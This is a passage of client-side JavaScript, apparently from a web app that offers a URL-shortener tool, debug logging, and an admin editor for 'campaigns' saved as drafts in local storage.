`; root.querySelector("#s").onclick = async ()=>{ const u = root.querySelector("#su").value.trim(); if(!/^https?:\/\//.test(u)) return toast("Enter a full URL"); const r = root.querySelector("#r"); r.classList.remove("empty"); r.textContent = "Working…"; const s = await shorten(u); r.textContent = s || "Every service refused. Try again in a minute."; if(s) navigator.clipboard?.writeText(s).catch(()=>{}); }; } if(DEBUG){ document.addEventListener("focusin", e=>dbg("focusin: "+e.target.tagName+" #"+e.target.id)); window.addEventListener("error", e=>dbg("ERR: "+e.message)); } const pub = params.get("p"); const route = location.hash.replace(/^#\/?/,""); if(pub) campaign(pub); else if(route === "short") shortTool(); else { if(route.startsWith("edit/")){ const c = store.get(route.slice(5)); if(c){ draft = Object.assign(blank(), c.cfg || c, { editRef:1, id:c.id }); editing = c.id; } } else { try{ const d = JSON.parse(localStorage.getItem("campDraft")||"null"); if(d && d.t && TPL[d.t]) draft = Object.assign(blank(), d); }catch(_){} } admin(); }